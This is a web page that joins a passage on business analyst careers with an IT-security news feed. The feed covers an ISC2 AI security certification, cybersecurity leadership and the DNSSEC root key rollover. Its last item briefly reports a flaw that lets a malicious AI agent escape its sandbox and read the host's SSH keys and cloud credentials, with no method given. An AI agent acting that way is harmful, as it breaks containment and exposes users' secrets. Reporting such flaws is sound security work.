<p class="wp-block-paragraph">BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.</p>



<p class="wp-block-paragraph">According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.</p>



<p class="wp-block-paragraph">Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  </p>



<p class="wp-block-paragraph">The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.</p>



<h2 class="wp-block-heading">Business analyst skills</h2>



<p class="wp-block-paragraph">The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.</p>



<p class="wp-block-paragraph">Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.</p>



<p class="wp-block-paragraph"><a href="https://www.iiba.org/career-resources/new-to-business-analysis/" target="_blank" rel="noreferrer noopener">According to the IIBA</a>, some of the most important skills and experience for a business analyst are:</p>



<ul class="wp-block-list">
<li>Oral and written communication skills</li>



<li>Interpersonal, organizational, facilitation, and consultative skills</li>



<li>Analytical thinking and problem solving</li>



<li>Being detail-oriented and able to deliver a high level of accuracy</li>



<li>Knowledge of business structure</li>



<li>Stakeholder and cost-benefit analysis</li>



<li>Processes modeling</li>



<li>Understanding networks, databases, and other technologies</li>
</ul>



<p class="wp-block-paragraph">For a more in-depth look at what it takes to succeed as a business analyst, click <a href="https://www.cio.com/article/189108/essential-traits-of-elite-business-analysts.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst salary</h2>



<p class="wp-block-paragraph">The average annual salary for an IT business analyst is $80,692, according to <a href="https://www.payscale.com/research/US/Job=Business_Analyst%2C_IT/Salary" target="_blank" rel="noreferrer noopener">data from PayScale</a>. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.</p>



<p class="wp-block-paragraph">Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td>Skills</td><td>Salary Boost</td></tr><tr><td>ScrumMaster</td><td>44%</td></tr><tr><td>Microsoft Azure</td><td>30%</td></tr><tr><td>Supply Chain</td><td>27%</td></tr><tr><td>Oracle eBusiness Suite</td><td>25%</td></tr><tr><td>Master Data Management (SAP MDM)</td><td>24%</td></tr><tr><td>SAP Sales and Distribution (SAP SD)</td><td>24%</td></tr><tr><td>Product Support</td><td>18%</td></tr><tr><td>Microsoft Dynamics GP</td><td>18%</td></tr><tr><td>SAP Quality Management (SAP QM)</td><td>18%</td></tr><tr><td>Workday Software</td><td>15%</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph">For tips on boosting your salary, click <a href="https://www.cio.com/article/189510/7-steps-business-analysts-can-take-to-earn-more.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst certifications</h2>



<p class="wp-block-paragraph">Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your résumé and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:</p>



<ul class="wp-block-list">
<li>IIBA <a href="https://www.cio.com/article/189169/ecba-certification-an-entry-level-credential-for-business-analysts.html">Entry Certificate in Business Analysis (ECBA)</a></li>



<li>IIBA Certification of Competency in Business Analysis (CCBA)</li>



<li>IIBA Certified Business Analysis Professional (CBAP)</li>



<li>IIBA Agile Analysis Certification (AAC)</li>



<li>IQBBA Certified Foundation Level Business Analyst (CFLBA)</li>



<li>IREB Certified Professional for Requirements Engineering (CPRE)</li>



<li>PMI Professional in Business Analysis (PBA)</li>



<li>Certified Analytics Professional (CAP)</li>
</ul>



<p class="wp-block-paragraph">For more information about how to earn one of these certifications — and how much they cost — click <a href="https://www.cio.com/article/228834/6-business-analyst-certifications-to-advance-your-analytics-career.html">here</a>.</p>



<h2 class="wp-block-heading">Business analytics tools and software</h2>



<p class="wp-block-paragraph">BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.</p>
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<title><![CDATA[ISC2 seeks input from IT pros for AI security certification]]></title>
<description><![CDATA[ISC2 has begun developing a vendor-neutral AI security certification aimed at cybersecurity professionals working to secure AI systems and manage emerging AI risks.



The nonprofit organization, best known for the CISSP certification, says it is seeking volunteers worldwide to help define the kn...]]></description>
<link>https://tsecurity.de/de/3691227/it-security-nachrichten/isc2-seeks-input-from-it-pros-for-ai-security-certification/</link>
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<pubDate>Fri, 24 Jul 2026 12:09:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph"><a href="https://www.isc2.org/" target="_blank" rel="noreferrer noopener">ISC2</a> has begun developing a <a href="https://www.isc2.org/new-ai-certification#AI%20Security%20Certification%20Frequently%20Asked%20Questions" target="_blank" rel="noreferrer noopener">vendor-neutral AI security certification</a> aimed at cybersecurity professionals working to secure AI systems and manage emerging AI risks.</p>



<p class="wp-block-paragraph">The nonprofit organization, best known for the <a href="https://www.isc2.org/certifications/cissp" target="_blank" rel="noreferrer noopener">CISSP certification</a>, says it is seeking volunteers worldwide to help define the knowledge and <a href="https://www.networkworld.com/article/3566827/global-cybersecurity-talent-gap-widens.html" target="_blank">skills</a> that will shape the new credential. While ISC2 has not finalized the certification domains, the <a href="https://www.prnewswire.com/news-releases/isc2-begins-developing-its-ai-security-certification-and-opens-call-for-volunteers-worldwide-302825622.html?tc=eml_cleartime" target="_blank" rel="noreferrer noopener">certification</a> is expected to address both technical AI security and governance topics, with a pilot exam planned before the end of 2026.</p>



<p class="wp-block-paragraph">According to <a href="https://www.linkedin.com/in/caseymarks/">Casey Marks</a>, ISC2 chief operating officer, feedback from cybersecurity practitioners led ISC2 to conclude that AI security had grown beyond expanding AI content within existing certifications.</p>



<p class="wp-block-paragraph">“AI has reached a tipping point,” Marks says. “AI no longer is just another tool; instead, it has fundamentally changed the cybersecurity practice itself.”</p>



<p class="wp-block-paragraph">ISC2 already includes <a href="https://www.networkworld.com/article/4196919/isc2-ai-raises-accountability-demands-for-cybersecurity-teams.html" target="_blank">AI-related content in certifications</a> including CISSP and <a href="https://www.isc2.org/certifications/CCSP" target="_blank" rel="noreferrer noopener">CCSP</a>, but Marks says practitioners have identified new responsibilities and risks that extend beyond those programs. “Enterprise security teams are currently grappling with significant knowledge gaps, particularly around securing model architectures against new vulnerabilities like prompt injection, data poisoning, and model inversion,” Marks adds.</p>



<p class="wp-block-paragraph">Organizations are working to understand emerging governance frameworks, including the NIST AI Risk Management Framework and ISO/IEC 42001, while adapting traditional application security and security operations workflows to AI systems, he says.</p>



<p class="wp-block-paragraph">ISC2 has not finalized the certification domains, but Marks says the organization expects the credential to address both technical controls and governance practices for <a href="https://www.networkworld.com/article/4174188/ai-reshapes-cybersecurity-workforce-priorities-as-it-teams-brace-for-new-risks.html" target="_blank">securing AI systems and managing AI risk</a>. The certification will use ISC2’s established certification development process, which relies on cybersecurity practitioners to define job roles, develop exam content, and validate competencies.</p>



<p class="wp-block-paragraph">Marks says ISC2 will continue to update the certification through ongoing input from cybersecurity professionals, in addition to its regular certification review process.</p>



<p class="wp-block-paragraph">The organization is also determining which professionals the certification will target. Marks says AI security responsibilities are emerging across security architecture, risk management, security operations, software development security, governance and compliance, communication and network security, and security assessment and testing. ISC2 says the certification will reflect how those roles are evolving.</p>



<p class="wp-block-paragraph">For organizations that are building AI security programs now, Marks recommends using existing AI training resources, adopting established governance frameworks, creating cross-functional AI security working groups, and participating in the certification development process.</p>



<p class="wp-block-paragraph">Marks says ISC2 expects AI knowledge to become part of most cybersecurity roles while a more specialized AI security discipline continues to develop. He says organizations will increasingly need professionals with foundational AI security knowledge, as well as specialists in areas such as adversarial machine learning, model architectures, and AI data pipelines.</p>



<p class="wp-block-paragraph">Looking ahead, Marks says he expects AI security expertise to evolve into both a foundational skill for cybersecurity professionals and a specialized discipline of its own.</p>



<p class="wp-block-paragraph">“At this time, we are seeing a hybrid evolution occurring in real time: AI security is simultaneously becoming a baseline expectation for all security roles, while also carving out a dedicated, highly specialized discipline,” Marks says.</p>
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<title><![CDATA[3 cybersecurity issues that should keep every CEO awake at night]]></title>
<description><![CDATA[For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.



Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organization...]]></description>
<link>https://tsecurity.de/de/3691226/it-security-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</link>
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<pubDate>Fri, 24 Jul 2026 12:09:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.</p>



<p class="wp-block-paragraph">Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organizations continue to suffer major cyber incidents with alarming regularity. Every week seems to bring news of another ransomware attack, supply chain compromise or data breach affecting organizations that many would have assumed were well protected.</p>



<p class="wp-block-paragraph">The obvious conclusion is that we are asking the wrong questions.</p>



<p class="wp-block-paragraph">Too many executive teams remain preoccupied with the latest threat actor, the newest security product the CISO wants to buy or the latest vulnerability making headlines. Those issues matter, but they are not what should be keeping CEOs awake at night.</p>



<p class="wp-block-paragraph">In my view, there are three far more fundamental issues that deserve the attention of every chief executive.</p>



<h2 class="wp-block-heading">1. Corporate complexity, and the widening gap between business leadership and cybersecurity reality</h2>



<p class="wp-block-paragraph">Perhaps the biggest cybersecurity risk facing large organizations today is not technical at all.</p>



<p class="wp-block-paragraph">It is the growing disconnect between executive perception and operational reality.</p>



<p class="wp-block-paragraph">Many boards genuinely believe their organizations are reasonably well protected. They receive regular dashboards showing improving maturity scores, increasing compliance levels, falling vulnerability counts and reassuring traffic-light reports.</p>



<p class="wp-block-paragraph">Unfortunately, cyber attackers do not read dashboards.</p>



<p class="wp-block-paragraph">Behind those executive reports often lies an increasingly complex technology landscape, thousands of unmanaged digital assets, ageing infrastructure, rampant shadow IT, fragmented ownership, inconsistent governance and security teams struggling to keep pace with relentless business change.</p>



<p class="wp-block-paragraph">The problem is rarely a lack of effort.</p>



<p class="wp-block-paragraph">It is that corporate complexity has reached a level where traditional governance mechanisms are no longer capable of providing an accurate picture of organizational resilience.</p>



<p class="wp-block-paragraph">Executives believe they understand the level of cyber risk they face because they receive regular reports. Those reports often measure activity rather than resilience.</p>



<p class="wp-block-paragraph">Governance committees end up debating around another percentage point of phishing awareness or vulnerability remediation, while fundamental issues remain unaddressed in the background.</p>



<h2 class="wp-block-heading">2. Organizational inertia, and the need for executive structure to evolve faster</h2>



<p class="wp-block-paragraph">Cyber criminals continue to evolve rapidly. Large organizations generally do not.</p>



<p class="wp-block-paragraph">This is the second issue that should concern every CEO.</p>



<p class="wp-block-paragraph">Throughout my career, I have observed organizations repeatedly responding to new cyber threats by adding another technology platform, another monitoring capability, another compliance framework or another governance committee.</p>



<p class="wp-block-paragraph">Very rarely do they stop to redesign how cybersecurity operates.</p>



<p class="wp-block-paragraph">The result is what I described several years ago as the “<a href="https://www.amazon.com/Cybersecurity-Spiral-Failure-How-Break/dp/1637353057/">Cybersecurity Spiral of Failure</a>”.</p>



<ul class="wp-block-list">
<li>As complexity and regulation increase, organizations invest in more security products.</li>



<li>More products create more complexity.</li>



<li>More products and greater complexity generate more alerts.</li>



<li>More alerts require more analysts.</li>



<li>More analysts produce more reports.</li>



<li>More reports continue to build up executive confidence.</li>



<li>Meanwhile, the underlying structural weaknesses remain largely unchanged, technical debt piles up and costs escalate.</li>
</ul>



<p class="wp-block-paragraph">And when the inevitable breach eventually happens, reality reveals itself, but distrust also sets in between senior executives and security teams.</p>



<p class="wp-block-paragraph">This is not a funding problem. Nor is it a skills problem. It is fundamentally an operating model problem.</p>



<p class="wp-block-paragraph">Many organizations continue trying to solve twenty-first century challenges using governance, accountability, organizational and reporting structures designed twenty-five years ago.</p>



<p class="wp-block-paragraph">The cybersecurity function itself has evolved dramatically. Many executive structures have not.</p>



<p class="wp-block-paragraph">This organizational inertia extends beyond technology: It affects budgeting cycles, <a href="https://www.cio.com/article/4193990/reallocating-cybersecurity-capital-in-the-mythos-era.html">investment priorities</a>, procurement processes, accountability models and decision-making speed.</p>



<p class="wp-block-paragraph">Cyber attackers innovate every day. Organizational change often takes years.</p>



<p class="wp-block-paragraph">That imbalance should worry every CEO.</p>



<h2 class="wp-block-heading">3. Accelerating technological disruption, and how it challenges organizations in areas where they are intrinsically weak</h2>



<p class="wp-block-paragraph">The third issue is potentially the most significant over the coming decade.</p>



<ul class="wp-block-list">
<li>Artificial intelligence, autonomous agents and machine identities</li>



<li>Software supply chain complexity.</li>



<li>Quantum computing, and post-quantum cryptography</li>
</ul>



<p class="wp-block-paragraph">Each of these developments represents far more than another technical trend.</p>



<p class="wp-block-paragraph">Together, they fundamentally change the dynamics of cybersecurity.</p>



<p class="wp-block-paragraph">Artificial intelligence is transforming countless business processes. At the same time, it is also increasing both the speed and sophistication of cyber-attacks while simultaneously transforming defensive capabilities.</p>



<p class="wp-block-paragraph">Organizations have become increasingly dependent on software ecosystems that extend far beyond their own direct control. Engaging with the supply chain in ways that lead to a genuine appreciation of the risks involved has become a key challenge for most cybersecurity practices.</p>



<p class="wp-block-paragraph">Quantum computing may eventually invalidate much of today’s cryptographic algorithms, forcing organizations into one of the largest technology efforts since Y2K — but without the benefit of a fixed deadline and faced by a problem that is considerably more complex and hyperconnected IT estates that have little to do with those of the late 90s.</p>



<p class="wp-block-paragraph">None of these challenges can be solved overnight: They require clear governance, sustained investment over a few years and cross-functional organizational coordination.</p>



<p class="wp-block-paragraph">Most large organizations are weak on those three fronts: This is precisely why CEOs should be focusing on them now.</p>



<p class="wp-block-paragraph">Waiting until some of those risks become obvious will almost certainly be too late.</p>



<p class="wp-block-paragraph">Businesses naturally prioritise immediate commercial pressures. Cybersecurity often involves preparing for risks whose timing remains uncertain.</p>



<p class="wp-block-paragraph">But one of the greatest leadership failures I keep seeing remains the inability of organizations to act decisively on known unknowns.</p>



<p class="wp-block-paragraph">That tension explains why many organizations delay action until external events force them to respond. Unfortunately, cybersecurity rarely rewards late action.</p>



<h2 class="wp-block-heading">Leadership will determine who succeeds</h2>



<p class="wp-block-paragraph">Cybersecurity discussions still frequently focus on technology. I believe they should focus far more on leadership.</p>



<p class="wp-block-paragraph">Technology will continue evolving. Threat actors will continue adapting. Regulations will continue expanding. Those developments are inevitable.</p>



<p class="wp-block-paragraph">What remains within the control of every CEO is how their organization responds.</p>



<p class="wp-block-paragraph">Does cybersecurity remain an IT issue? Or is it recognised as an integral part of business resilience?</p>



<p class="wp-block-paragraph">How is cybersecurity accountability assigned at executive level? Or does it still rest largely with a CISO hidden in the organization?</p>



<p class="wp-block-paragraph">Does the board spend sufficient time discussing resilience? Or does cybersecurity appear only when approving budgets or reviewing incidents?</p>



<p class="wp-block-paragraph">These questions will increasingly determine organizational success.</p>



<p class="wp-block-paragraph">The companies that navigate the next decade successfully will not necessarily be those spending the most on cybersecurity. Nor will they be those deploying the latest security technologies first.</p>



<p class="wp-block-paragraph">They will be the organizations whose leadership recognises that cybersecurity has become a permanent business capability — embedded into governance, strategy, operational decision-making and organizational culture.</p>



<p class="wp-block-paragraph">That transformation cannot be delegated. It begins with the CEO.</p>



<p class="wp-block-paragraph">And perhaps that is the single biggest issue that should keep every chief executive awake at night: Not when the next cyber-attack will happen, but whether their organization is evolving quickly enough on those matters to meet a threat landscape that is changing much faster than the business itself.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[CIOs beware: DNS KSK rollover could kick off wave of mysterious outages]]></title>
<description><![CDATA[Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.



That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely...]]></description>
<link>https://tsecurity.de/de/3691225/it-security-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691225/it-security-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.</p>



<p class="wp-block-paragraph">That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely to deliver a series of seemingly unrelated system outages. This will come from oceans of dependencies from third-party, shadow, agentic, gen AI, SaaS, homegrown, and legacy apps — among many other quiet executable hiding spots, including virtual environments and containers.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/joshithak/">Sai Joshitha Kathari</a>, senior site reliability engineer at payment card giant Visa, says most enterprises have far more DNS-related exposure than they realize because of these many dependencies.</p>



<p class="wp-block-paragraph">“This has the potential to create real downstream destruction when unresolved failures sit underneath important business functions,” Kathari says. </p>



<p class="wp-block-paragraph">The danger is that so many of these issues are either unknown to IT or handled by a third-party vendor and no one in IT has had reason to ask those vendors about DNS updates. </p>



<p class="wp-block-paragraph">“The risky areas are usually not the obvious managed DNS services. They are the older internal applications, hardcoded resolvers, containerized workloads, sidecar configurations, custom scripts, partner integrations, VM images, stale base images, and service-to-service dependencies that nobody has touched in a long time,” Kathari explains. “These systems can keep working quietly for years, then fail during a DNS or certificate-related change because they bypassed the normal platform standards.”</p>



<p class="wp-block-paragraph">Independent technology analyst <a href="https://www.linkedin.com/in/carmi/">Carmi Levy</a> says that CIOs need to take this event very seriously. </p>



<p class="wp-block-paragraph">“The two-pronged deadline — October 11, 2026, when the new Key Signing Key (KSK) begins signing the root zone, and January 11, 2027, when the old key is retired — should be marked in red on everyone’s calendar, just as December 31, 1999, once was,” Levy says. “Failure to comply could result in websites, critical business applications, and related resources dropping off the face of the Earth once the transition is complete.”</p>



<p class="wp-block-paragraph">Levy adds: “Custom-built code that lives outside conventional support mechanisms may or may not function when the DNS changes go into effect.”</p>



<p class="wp-block-paragraph">The <a href="https://www.icann.org/resources/press-material/release-2026-05-20-en">DNSSEC update itself</a> is straightforward, but it is also the first significant DNSSEC change — specifically a change in the trust anchor — since 2018. </p>



<p class="wp-block-paragraph">The rollout statement noted that “the trust anchor is formally known as the Domain Name System Security Extensions (DNSSEC) root zone Key Signing Key (KSK). The KSK is the cryptographic key at the core of the DNSSEC trust anchor and is used to verify that DNS responses are legitimate and have not been modified in transit.”</p>



<h2 class="wp-block-heading">Expect nearly every enterprise to be impacted</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/kimdavies/">Kim Davies</a>, vice president of IANA Services and president of public technical identifiers at ICANN, says the extent of the impact on enterprises is unknowable, given the nature of shadow IT and other edge cases. </p>



<p class="wp-block-paragraph">But based on the massive number of dependencies both known and unknown in the typical global enterprise, Davies guesses that just about every enterprise will be impacted, to varying degrees. </p>



<p class="wp-block-paragraph">“In highly complex organizations, it is very likely there will be some impact in the corners, in the margins, of the organization,” Davies tells CIO. “DNS is such a core technology that underpins everything.”</p>



<p class="wp-block-paragraph">As the updates propagate, hiccups will materialize, Davies notes. “When the system cannot validate the [DNS] information, it will treat it as suspect and DNS lookups will fail.”</p>



<p class="wp-block-paragraph">Visa’s Kathari says, “Enterprises should expect some secondary DNS-related glitches when major DNSSEC-related changes happen, not necessarily because the core infrastructure teams will ignore the update, but because large environments have many hidden dependency paths.”</p>



<p class="wp-block-paragraph">Making this problem far worse, Kathari notes, is that the glitches will likely initially look like anything other thana DNS glitch. That will force IT staff to waste a vast number of hours chasing causes that ultimately prove to be unrelated to the incidents. </p>



<p class="wp-block-paragraph">“The impact for CIOs is that DNS failures rarely announce themselves as DNS failures. They look like application timeouts, broken logins, failed API calls, queue lag, payment failures, partner connectivity issues, or random regional instability,” Kathari explains. “That makes troubleshooting slower because teams may spend hours looking at the application, database, network, or cloud provider before realizing name resolution is part of the failure path.”</p>



<p class="wp-block-paragraph"><a href="https://greyhoundresearch.com/svg/">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, agrees that IT will likely spin its wheels chasing the wrong ghosts.</p>



<p class="wp-block-paragraph">“A validation failure rarely stays in its lane. It surfaces as an application error, an API timeout, or a reachability problem, which turns a resolver fault into a coordination failure,” Gogia says. “The application team blames the network, the network team blames the cloud, and the user simply watches work stop.”</p>



<p class="wp-block-paragraph">“Images and templates are the frontier most teams miss,” Gogia adds. “A resolver fixed in summer can be broken again in October the instant a stale golden image is redeployed, because automation no longer lets configuration drift slowly. It restores yesterday’s assumptions at machine speed.”</p>



<p class="wp-block-paragraph">It is widely expected that enterprises will not have any problems executing the change or, more likely, relying on their hyperscalers to properly handle the change. That is the concern. </p>



<p class="wp-block-paragraph">“CIOs are being distracted so much with AI and this is such a deep in the weeds infrastructure issue that this can and willcatch people off-guard,” <a href="https://acceligence.com/talent/profiles/justin-greis/">Justin Greis</a>, CEO of consulting firm Acceligence, tells CIO. “I think we’ll see a meaningful number of enterprise disruptions associated with the DNSSEC trust anchor rollover. Not because the update itself is especially difficult, but because it will expose weaknesses that already exist inside many organizations.”</p>



<p class="wp-block-paragraph">Most enterprise IT operations have had no reason to compile a comprehensive list of all DNS dependencies, but many will be instantly discovered in January. </p>



<h2 class="wp-block-heading">Potentially widespread fallout</h2>



<p class="wp-block-paragraph">A major retailer, for example, might suddenly be unable to connect with FedEx to arrange for deliveries or a hospital may find that test results are no longer being shared with patient portals. It might manifest as an assembly line that halts because an IIoT component can no longer share files with its vendor system or a truck fleet that stops being tracked. </p>



<p class="wp-block-paragraph">“There will almost certainly be systems that fall through the cracks. Some will be legacy applications that rely on outdated DNS configurations that have not been updated in years,” Greis says. “Others will be business-unit-developed tools, contractor-built solutions, embedded systems, manufacturing and industrial systems, or highly customized workloads that operate outside normal IT oversight. These are the types of systems that often surface during infrastructure events like this.”</p>



<p class="wp-block-paragraph">Greis adds that many enterprises will discover in January problems created by their own automation.</p>



<p class="wp-block-paragraph">“Over time, enterprises build layers of processes, templates, and deployment mechanisms that are reused across teams and environments,” Greis notes. “Even after DNS infrastructure is updated correctly, older settings can inadvertently be reintroduced through routine updates and system changes, creating intermittent and difficult-to-diagnose failures.”</p>



<p class="wp-block-paragraph">The good news from this situation is that enterprises are not going to likely lose all DNS access if any of these glitches occur. But that may be of no comfort because even if the disruptions are only with small edge cases, that can still cause massive operational disruptions.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/cricketliu/">Cricket Liu</a>, EVP and chief evangelist at Infoblox, gives the example of a DNS server that responds to factory-floor system queries.</p>



<p class="wp-block-paragraph">“Or let’s say this disrupts [an enterprise’s key] SaaS application. All name resolution may stop and it will show a server failure. It will not deliver a response whenever I look anything up. That’s not subtle at all,” Liu says. “It’s highly likely that companies are going to see some effects.”</p>



<p class="wp-block-paragraph">Back in 2017, the switchover was relatively uneventful, giving some CIOs hope that January 2027 will also be a non-event. But given the technology advancements in the last 10 years and the resulting tidal wave of new enterprise tech dependencies, few are realistically expecting no problems this go around. </p>



<h2 class="wp-block-heading">Impossible to predict what will happen</h2>



<p class="wp-block-paragraph">One of the top network experts on DNS effects in enterprises is <a href="https://blog.apnic.net/author/geoff-huston/">Geoff Huston</a>, chief scientist at the Asia Pacific Network Information Centre (APNIC), the regional Internet Registry administering IP addresses for the Asia Pacific region.</p>



<p class="wp-block-paragraph">Huston says it is difficult to project what will happen in January until it happens.</p>



<p class="wp-block-paragraph">“Just like the last time, we are flying blind with this key roll. Because nothing really terrible happened last time, there is some confidence that nothing terrible will happen this time, but we just can’t tell in advance as there are no good measurement approaches that allow us to peek inside the trust state of recursive resolvers,” he says.</p>



<p class="wp-block-paragraph">As for potential edge-case glitches, Huston says it is possible, but if third-party vendors do not properly handle the update, there will be other issues as well, as the KSK cryptographic key used within DNSSEC signs and validates the keys that protect DNS records. </p>



<p class="wp-block-paragraph">“If it is not standards-compliant, then you have more problems than just the KSK roll,” Huston says, “as it raises the obvious question of ‘What else is not correctly implemented in the DNS resolver that I’m running?’”</p>



<p class="wp-block-paragraph">As a silver lining, Acceligence’s Greis says any hiccups that result from the DNS KSK update may be a gift in disguise for CIOs. </p>



<p class="wp-block-paragraph">“The irony is that some of the most business-critical components in the technology stack are often the least visible because they work in the background,” Greis says. January “may reveal how much modern business resilience depends on infrastructure that many organizations rarely examine until something breaks. For CIOs, that’s the real lesson. This is not fundamentally a story about a DNS update. It is a story about operational visibility, resilience, and governance. Organizations that treat the rollover as a routine infrastructure task will likely complete the update and move on. Organizations that use it as an opportunity to understand and strengthen the foundations of their technology environment may gain far more value than simply avoiding an outage.”</p>
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<title><![CDATA[Is last year's Samsung Galaxy Tab S10 FE still worth buying? I multi-screened movies, maxed out gaming graphics, and dunked it in a tank to find out]]></title>
<description><![CDATA[Samsung’s Galaxy Tab S10 FE not only turned me into a multitasking and note-taking machine; its epic battery life and lush display are perfect for binge watching, too.]]></description>
<link>https://tsecurity.de/de/3691140/it-nachrichten/is-last-years-samsung-galaxy-tab-s10-fe-still-worth-buying-i-multi-screened-movies-maxed-out-gaming-graphics-and-dunked-it-in-a-tank-to-find-out/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691140/it-nachrichten/is-last-years-samsung-galaxy-tab-s10-fe-still-worth-buying-i-multi-screened-movies-maxed-out-gaming-graphics-and-dunked-it-in-a-tank-to-find-out/</guid>
<pubDate>Fri, 24 Jul 2026 11:35:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Samsung’s Galaxy Tab S10 FE not only turned me into a multitasking and note-taking machine; its epic battery life and lush display are perfect for binge watching, too.]]></content:encoded>
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<title><![CDATA[Maybe the Biggest Problem With A.I. in the Workplace Is People]]></title>
<description><![CDATA[Learning to use A.I. effectively at work is all about using the same tried-and-true skills we use to be a better manager and collaborator.]]></description>
<link>https://tsecurity.de/de/3691117/ai-nachrichten/maybe-the-biggest-problem-with-ai-in-the-workplace-is-people/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691117/ai-nachrichten/maybe-the-biggest-problem-with-ai-in-the-workplace-is-people/</guid>
<pubDate>Fri, 24 Jul 2026 11:27:24 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Learning to use A.I. effectively at work is all about using the same tried-and-true skills we use to be a better manager and collaborator.]]></content:encoded>
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<title><![CDATA[Valve's Steamworks SDK v1.65 brings changes for Steam Machine, Steam Frame and Steam Deck]]></title>
<description><![CDATA[Valve have updated the Steamworks SDK for games to integrate Steam features - overhauling checks for Steam Machine, Steam Frame and Steam Deck and more.Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3690944/linux-tipps/valves-steamworks-sdk-v165-brings-changes-for-steam-machine-steam-frame-and-steam-deck/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690944/linux-tipps/valves-steamworks-sdk-v165-brings-changes-for-steam-machine-steam-frame-and-steam-deck/</guid>
<pubDate>Fri, 24 Jul 2026 10:02:47 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Valve have updated the Steamworks SDK for games to integrate Steam features - overhauling checks for Steam Machine, Steam Frame and Steam Deck and more.<p><img src="https://www.gamingonlinux.com/uploads/tagline_gallery/steam_plain_2025.jpg" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/2026/07/valves-steamworks-sdk-v1-65-brings-changes-for-steam-machine-steam-frame-and-steam-deck/">GamingOnLinux</a>.</p>]]></content:encoded>
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<title><![CDATA[Claude Cowork Sandbox Escape Flaw Lets AI Agent Read SSH Keys and Cloud Credentials From Host]]></title>
<description><![CDATA[A serious security flaw has been discovered in Claude Cowork’s local sandbox, allowing a malicious AI agent to escape its Linux virtual machine (VM) and access the host Mac’s filesystem. This breach can enable the agent to read sensitive information, including SSH private keys and cloud credentia...]]></description>
<link>https://tsecurity.de/de/3690923/it-security-nachrichten/claude-cowork-sandbox-escape-flaw-lets-ai-agent-read-ssh-keys-and-cloud-credentials-from-host/</link>
